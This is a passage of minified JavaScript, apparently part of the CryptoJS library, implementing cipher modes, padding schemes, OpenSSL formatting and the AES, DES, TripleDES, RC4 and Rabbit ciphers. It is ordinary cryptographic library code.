function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { - function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { - var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; - } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) - }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = 